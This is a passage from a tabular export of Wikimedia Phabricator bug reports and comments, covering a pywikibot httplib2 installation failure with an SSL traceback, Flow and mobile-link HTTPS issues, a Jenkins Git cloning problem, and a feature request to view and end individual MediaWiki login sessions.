+
+I am using Python 2.7.3 under `virtualenv` version 1.9.1 on Ubuntu 12.10.
+
+Furthermore installing the dependency with `pip install httplib2` cause the following bug.
+
+```
+(pywikibot)cristian@cristian-F5N:~$ python test.py ""Alessandro_Manzoni""
+ERROR: Traceback (most recent call last):
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 284, in submit
+    body=paramstring)
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 123, in request
+    raise FatalServerError(str(request.data))
+FatalServerError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+
+Traceback (most recent call last):
+  File ""test.py"", line 12, in <module>
+    item = pywikibot.ItemPage.fromPage(wikipage)
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 2527, in fromPage
+    repo = page.site.data_repository()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 98, in site
+    return self._link.site
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 3224, in site
+    self.parse()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 3207, in parse
+    if self._site.case() == 'first-letter':
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1173, in case
+    return self.siteinfo['case']
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1167, in siteinfo
+    self._getsiteinfo()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1100, in _getsiteinfo
+    sidata = sirequest.submit()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 462, in submit
+    self._data = super(CachedRequest, self).submit()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 284, in submit
+    body=paramstring)
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 123, in request
+    raise FatalServerError(str(request.data))
+pywikibot.exceptions.FatalServerError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+```
+
+Steps to reproduce:
+* download core.tar.gz and unzip
+* create virtualenv
+* run <code>python setup.py install</code> from <code>core</code>
+* run <code>python test.py ""Alessandro_Manzoni""</code>
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal
+
+**Attached**: {F12229}",Needs Triage,90.0,1383163980,1383205592.0,PHID-USER-lkjgj76544v3vn63zgtk,False,,False,PHID-TASK-en7agonusfaxbwj475u2,task_description,resolved,True,c3,1,False,False,True,-88,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,1,1
+265464,setup.py should require httplib2,"Change 92765 merged by jenkins-bot:
+Fix dependency installation during setup.py install
+
+https://gerrit.wikimedia.org/r/92765",,,1383201583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,False,,,-87,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+265457,setup.py should require httplib2,"Change 92765 had a related patch set uploaded by Merlijn van Deen:
+Fix dependency installation during setup.py install
+
+https://gerrit.wikimedia.org/r/92765",,,1383165224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+265450,setup.py should require httplib2,"Created attachment 13633
+install log
+
+OK, I can reproduce it:
+
+wget http://tools.wmflabs.org/pywikibot/core.tar.gz
+tar -xvzf core.tar.gz
+cd core
+virtualenv .
+source bin/activate
+python setup.py install | tee installog
+
+results in the attached installog, and not in a working httplib2...
+
+**Attached**: {F12230}",,,1383164675,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+265444,setup.py should require httplib2,"I'm confused by this, as setup.py /does/ require httplib2:
+
+
+
+    install_requires=[
+        'httplib2>=0.6.0'
+    ],
+    dependency_links=[
+        'https://git.wikimedia.org/zip/?r=pywikibot/externals/httplib2.git&format=gz#egg=httplib2-0.8-pywikibot1'
+    ],
+
+
+
+Which core.tar.gz did you download? http://tools.wmflabs.org/pywikibot/core.tar.gz , or some other version?",,,1383164291,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,True,,,-88,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+265436,setup.py should require httplib2,"Of course installing the right dependency:
+
+pip install https://git.wikimedia.org/zip/?r=pywikibot/externals/httplib2.git&format=gz#egg=httplib2-0.8-pywikibot1
+
+Solves the issue. This should be automatic.",,,1383164186,,PHID-USER-lkjgj76544v3vn63zgtk,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+58280,Flow: SSL error on email notifications,"Visit a link in an email notification for a Flow event – you'll receive an SSL error.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1382995560,1383175363.0,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,False,PHID-TASK-tdujfoz6otc4aeopydss,task_description,resolved,True,c3,1,True,False,True,-88,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+259300,Flow: SSL error on email notifications,"**bsitu** wrote:
+
+solved by configuring the server",,,1383175363,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+259299,Flow: SSL error on email notifications,"**bsitu** wrote:
+
+same for the following code:
+
+global $wgServer;
+echo $wgServer;
+
+
+http://ee-flow.wmflabs.org vs //ee-flow.wmflabs.org",,,1383160996,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+259297,Flow: SSL error on email notifications,"**bsitu** wrote:
+
+I guess it's an configuration problem in ee-flow labs instance, the code below outputs 'http' in /maintenance/eval.php and 'https' in a web page
+
+echo SpecialPage::getTitleFor( 'Flow', 'Test' )->getFullURL( 'foo=bar', false, PROTO_HTTPS );",,,1383160738,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+259293,Flow: SSL error on email notifications,"The WMF core features team tracks this bug on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/375, but people from the community are welcome to contribute here and in Gerrit.",,,1383032735,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+259290,Flow: SSL error on email notifications,What's an example link of what you're being given?,,,1382995963,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+58244,http request slow,"Some ""plain-text"" files like JS code is extremely slow to access. This has started only today. Example:
+
+http://tools.wmflabs.org/magnustools/resources/js/bootstrap.min.js
+
+Sometimes it works, though. Some lighttp issue?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1382970960,1383054215.0,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,False,PHID-TASK-b72cdsauh2jnmacolc7w,task_description,resolved,True,c3,1,False,False,True,-88,True,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0
+256867,http request slow,"Same issue as 56158
+
+*** This bug has been marked as a duplicate of bug 56158 ***",,,1383054215,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-b72cdsauh2jnmacolc7w,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+58212,Add a feature to track and terminate specific login sessions,"In facebook ( https://www.facebook.com/settings?tab=security ), one can selectively log ones self out of other current sessions, but in Mediawiki, one is helpless if one wants to log out of a session for which one no longer has access to the terminal of.
+
+Please implement being able to log out of selected other sessions, or at least a way of logging out of everything everywhere, short of changing one's password.
+
+From the other task:
+
+Currently, there’s no way for me to see which sessions are valid/active for my account on Wikimedia projects – if I want to be sure that I can’t be compromised by an old session, I have to change my password. It would be useful if MediaWiki instead offered a way to list those sessions, and ideally allowed me to selectively terminate them as well.
+
+GitHub and Twitter have such a feature, for example:
+{F30311189, layout=inline} {F30311223, layout=inline}
+
+In MediaWiki, this is currently offered by [Extension:SecureSessions](https://www.mediawiki.org/wiki/Extension:SecureSessions) (CC @Parent5446), but that extension isn’t deployed on Wikimedia wikis and also doesn’t always work, for example due to T73066; in T73066#2386198, @Anomie outlined an alternative way to track sessions. I think it might be worth adding this as a core feature.
+
+See also:
+{T55156}",Needs Triage,90.0,1382874660,,PHID-USER-awbqewknju4hbrnah6pm,False,,False,PHID-TASK-bnxu7zommqo3txisxlf7,task_description,open,True,c3,1,False,False,,-88,True,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1
+1922028,Add a feature to track and terminate specific login sessions,">>! In T58212#7951705, @Iniquity wrote:
+> As far as I know, we save information about the session
+
+We don't, on several levels:
+* We don't store information that would help the user identify the session (IP/geodata, user agent etc).
+* We do not store the sessions in such a way that would allow querying all sessions for a given user - they are just values in a key-value store that's keyed by the session cookie's value (although Wikimedia uses Cassandra for that, so infrastructurally a secondary index by user ID wouldn't be a big change, but it would have to circumvent all the session store abstractions in MediaWiki, which don't assume anything beyond a key-value store).
+* Most crucially, sessions (in the MediaWiki sense) aren't even that relevant to staying logged in. They have a short lifetime; what the user perceives as long-term ""sessions"" are really just tokens stored in the user table and matched against a long-lived cookie. That's going to be the same token for all devices where the user is logged in; there isn't any kind of individual data structure for each of those devices.",,,1653421123,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,3,True,,,359,True,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,1
+1921485,Add a feature to track and terminate specific login sessions,"As far as I know, we save information about the session, perhaps now it only needs to be displayed?",,,1653349352,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,3,False,,,359,True,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+518153,Add a feature to track and terminate specific login sessions,T110277 will fundamentally change session handling.,,,1441079642,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+518152,Add a feature to track and terminate specific login sessions,">>! In T58212#643013, @MZMcBride wrote:
+>> [[mw:Extension:SecureSessions]] only allows you to log out all sessions at
+>> once, not individual sessions.
+> 
+> Hmmm, interesting. So could this be a feature request for that extension, then?
+
+Not a simple one, though. As long as you terminate all sessions at the same time, it is enough to keep a single token in the user table and replace it when every session needs to be logged out. For per-session logout, you would need some kind of table keeping track of sessions.",,,1441079607,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+279538,Add a feature to track and terminate specific login sessions,"What wiki users want is not a factor in determining what features are included in MediaWiki core. If only 1% of sysadmins install the extension on their wiki, it's not MediaWiki's responsibility to correct the others. In fact, it's better if sysadmins have the choice of what they want to provide to their users
+
+In addition, there is very little reason to have a selective logout feature. Managing sessions is usually done for security purposes, i.e., if you left your account logged in somewhere and you're worried somebody might use it. In these cases it is safer to just reset all sessions.",,,1383051117,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+279532,Add a feature to track and terminate specific login sessions,"What if the ability to logout itself was left to an extension?
+
+Then only users of the 1% of the wikis where the administrator had the grace to install such extension could log out.
+
+In this case we are forced to leave a hanging session available at Bob's house for anyone who would like to use it.
+
+Therefore we see that such basic security should not be left for extensions, and thus belongs in the core.",,,1382910140,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+279527,Add a feature to track and terminate specific login sessions,"(In reply to comment #4)
+> [[mw:Extension:SecureSessions]] only allows you to log out all sessions at
+> once, not individual sessions.
+
+Hmmm, interesting. So could this be a feature request for that extension, then?",,,1382895094,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,True,,,-88,True,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+279523,Add a feature to track and terminate specific login sessions,"[[mw:Extension:SecureSessions]] only allows you to log out all sessions at once, not individual sessions.",,,1382895018,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+279517,Add a feature to track and terminate specific login sessions,I believe this is the purpose of [[mw:Extension:SecureSessions]].,,,1382889214,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+279510,Add a feature to track and terminate specific login sessions,"I mean lets say I have nine sessions, eight on various computers around my house and at the lab, and one back at Bob's friend's house. I want to just terminate the latter, because there are lots of weird people at his house and I'm not going back there this week. Why should I have to hurt all my other sessions just to zap that one like I can already do in Facebook?",,,1382885712,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+279502,Add a feature to track and terminate specific login sessions,Logging out already logs you out of all your sessions.,,,1382885141,,PHID-USER-i7wj2sc5pxjokzzaj7vt,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c3,1,False,,,-88,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+58098,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Example[1]:
+
+...
+ERROR: Error cloning remote repo 'origin'
+hudson.plugins.git.GitException: Could not clone https://gerrit.wikimedia.org/r/mediawiki/extensions/Translate
+...
+
+Started to happen after updating Jenkins Git plugin. Reverting the plugin to a earlier version did not help.
+
+Workaround it so clone the repositories via SSH[2].
+
+Contacted Cloudbees support[3].
+
+They were able to reproduce the problem[4] and fix it.
+
+1: https://wmf.ci.cloudbees.com/view/r-tr/job/Translate-sandbox.translatewiki.net-linux-firefox/5/console
+2: https://gerrit.wikimedia.org/r/#/c/91369/2/docs/template.md
+3: https://cloudbees.zendesk.com/requests/14067
+4: https://issues.jenkins-ci.org/browse/JENKINS-20218
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1382619360,1382619967.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-drck3ontm2hvae6wzpnc,task_description,resolved,True,c3,1,True,False,True,-88,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+272218,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Change 91593 merged by Cmcmahon:
+Clone Git repositories via anonymous HTTP
+
+https://gerrit.wikimedia.org/r/91593",,,1382628110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drck3ontm2hvae6wzpnc,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+272210,Cloudbees Jenkins can not clone Git repositories via Anonymous HTTP,"Change 91593 had a related patch set uploaded by Zfilipin:
+Clone Git repositories via anonymous HTTP
+
+https://gerrit.wikimedia.org/r/91593",,,1382619640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-drck3ontm2hvae6wzpnc,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+57982,'Mobile view' link always heads to https,"'Mobile view' link always heads to https because of incorrect value in second argument of MobileContext::getMobileUrl().
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1382414760,1401902866.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,,False,PHID-TASK-o47zmudzjjgqctumtubv,task_description,resolved,True,c3,1,False,False,True,-89,True,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+265157,'Mobile view' link always heads to https,"Change 137291 merged by MaxSem:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
+https://gerrit.wikimedia.org/r/137291",,,1401919391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+265154,'Mobile view' link always heads to https,"Yep, but maybe it's possible to merge the change into REL1_22? :)",,,1401903124,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+265152,'Mobile view' link always heads to https,This is still resolved I think??,,,1401902866,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+265150,'Mobile view' link always heads to https,"Change 137291 had a related patch set uploaded by Florianschmidtwelzow:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
